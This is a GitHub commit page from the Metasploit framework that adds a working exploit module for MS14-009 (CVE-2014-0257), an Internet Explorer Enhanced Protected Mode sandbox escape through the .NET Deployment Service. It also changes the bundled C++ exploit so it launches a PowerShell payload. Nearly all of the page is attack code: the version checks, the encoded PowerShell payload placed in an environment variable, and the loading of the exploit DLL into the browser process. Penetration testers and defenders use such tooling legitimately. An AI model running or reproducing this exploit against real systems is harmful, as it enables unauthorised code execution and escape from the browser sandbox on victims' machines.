Skip to content

Commit 0b6f7e4

Browse files
committed
Land rapid7#3404 - MS14-009 .NET Deployment Service IE Sandbox Escape
2 parents 6075c79 + a081bea commit 0b6f7e4

File tree

3 files changed

+177
-2
lines changed

3 files changed

+177
-2
lines changed
106 KB
Binary file not shown.

external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/CVE-2014-0257.cpp

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -165,8 +165,8 @@ void DoDfsvcExploit()
165165
{
166166
std::vector<variant_t> startArgs;
167167

168-
startArgs.push_back(L"mshta");
169-
startArgs.push_back(GetEnv(L"MYURL"));
168+
startArgs.push_back(L"powershell");
169+
startArgs.push_back(GetEnv(L"PSHCMD"));
170170

171171
ExecuteMethod<mscorlib::_ObjectPtr>(startMethod, startArgs);
172172
}
Lines changed: 175 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,175 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex'
8+
require 'msf/core/exploit/exe'
9+
require 'msf/core/exploit/powershell'
10+
11+
class Metasploit3 < Msf::Exploit::Local
12+
Rank = GreatRanking
13+
14+
include Msf::Exploit::Powershell
15+
include Msf::Exploit::EXE
16+
include Msf::Post::Windows::Priv
17+
include Msf::Post::Windows::FileInfo
18+
include Msf::Post::File
19+
20+
NET_VERSIONS = {
21+
'4.5' => {
22+
'dfsvc' => '4.0.30319.17929.17',
23+
'mscorlib' => '4.0.30319.18063.18'
24+
},
25+
'4.5.1' => {
26+
'dfsvc' => '4.0.30319.18408.18',
27+
'mscorlib' => '4.0.30319.18444.18'
28+
}
29+
}
30+
31+
def initialize(info={})
32+
super( update_info( info,
33+
'Name' => 'MS14-009 .NET Deployment Service IE Sandbox Escape',
34+
'Description' => %q{
35+
This module abuses a process creation policy in the Internet Explorer Sandbox which allows
36+
to escape the Enhanced Protected Mode and execute code with Medium Integrity. The problem
37+
exists in the .NET Deployment Service (dfsvc.exe), which can be run as Medium Integrity
38+
Level. Further interaction with the component allows to escape the Enhanced Protected Mode
39+
and execute arbitrary code with Medium Integrity.
40+
},
41+
'License' => MSF_LICENSE,
42+
'Author' =>
43+
[
44+
'James Forshaw', # Vulnerability Discovery and original exploit code
45+
'juan vazquez' # metasploit module
46+
],
47+
'Platform' => [ 'win' ],
48+
'SessionTypes' => [ 'meterpreter' ],
49+
'Targets' =>
50+
[
51+
[ 'IE 8 - 11', { } ]
52+
],
53+
'DefaultTarget' => 0,
54+
'DefaultOptions' =>
55+
{
56+
'WfsDelay' => 30
57+
},
58+
'DisclosureDate'=> "Feb 11 2014",
59+
'References' =>
60+
[
61+
['CVE', '2014-0257'],
62+
['MSB', 'MS14-009'],
63+
['BID', '65417'],
64+
['URL', 'https://github.com/tyranid/IE11SandboxEscapes']
65+
]
66+
))
67+
end
68+
69+
def check
70+
unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe")
71+
return Exploit::CheckCode::Unknown
72+
end
73+
74+
net_version = get_net_version
75+
76+
if net_version.empty?
77+
return Exploit::CheckCode::Unknown
78+
end
79+
80+
unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll")
81+
return Exploit::CheckCode::Detected
82+
end
83+
84+
mscorlib_version = get_mscorlib_version
85+
86+
if Gem::Version.new(mscorlib_version) >= Gem::Version.new(NET_VERSIONS[net_version]["mscorlib"])
87+
return Exploit::CheckCode::Safe
88+
end
89+
90+
Exploit::CheckCode::Vulnerable
91+
end
92+
93+
def get_net_version
94+
net_version = ""
95+
96+
dfsvc_version = file_version("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe")
97+
dfsvc_version = dfsvc_version.join(".")
98+
99+
NET_VERSIONS.each do |k,v|
100+
if v["dfsvc"] == dfsvc_version
101+
net_version = k
102+
end
103+
end
104+
105+
net_version
106+
end
107+
108+
def get_mscorlib_version
109+
mscorlib_version = file_version("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll")
110+
mscorlib_version.join(".")
111+
end
112+
113+
def exploit
114+
print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?
115+
116+
mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe')
117+
if mod_handle['return'] == 0
118+
fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process")
119+
end
120+
121+
unless get_integrity_level == INTEGRITY_LEVEL_SID[:low]
122+
fail_with(Failure::NotVulnerable, "Not running at Low Integrity")
123+
end
124+
125+
print_status("Searching .NET Deployment Service (dfsvc.exe)...")
126+
127+
unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe")
128+
fail_with(Failure::NotVulnerable, ".NET Deployment Service (dfsvc.exe) not found")
129+
end
130+
131+
net_version = get_net_version
132+
133+
if net_version.empty?
134+
fail_with(Failure::NotVulnerable, "This module only targets .NET Deployment Service from .NET 4.5 and .NET 4.5.1")
135+
end
136+
137+
print_good(".NET Deployment Service from .NET #{net_version} found.")
138+
139+
print_status("Checking if .NET is patched...")
140+
141+
unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll")
142+
fail_with(Failure::NotVulnerable, ".NET Installation can not be verified (mscorlib.dll not found)")
143+
end
144+
145+
mscorlib_version = get_mscorlib_version
146+
147+
if Gem::Version.new(mscorlib_version) >= Gem::Version.new(NET_VERSIONS[net_version]["mscorlib"])
148+
fail_with(Failure::NotVulnerable, ".NET Installation not vulnerable")
149+
end
150+
151+
print_good(".NET looks vulnerable, exploiting...")
152+
153+
cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip
154+
session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", cmd)
155+
156+
temp = get_env('TEMP')
157+
158+
print_status("Loading Exploit Library...")
159+
160+
session.core.load_library(
161+
'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0257", "CVE-2014-0257.dll"),
162+
'TargetFilePath' => temp + "\\CVE-2014-0257.dll",
163+
'UploadLibrary' => true,
164+
'Extension' => false,
165+
'SaveToDisk' => false
166+
)
167+
end
168+
169+
def cleanup
170+
session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", nil)
171+
super
172+
end
173+
174+
end
175+

0 commit comments

Comments
 (0)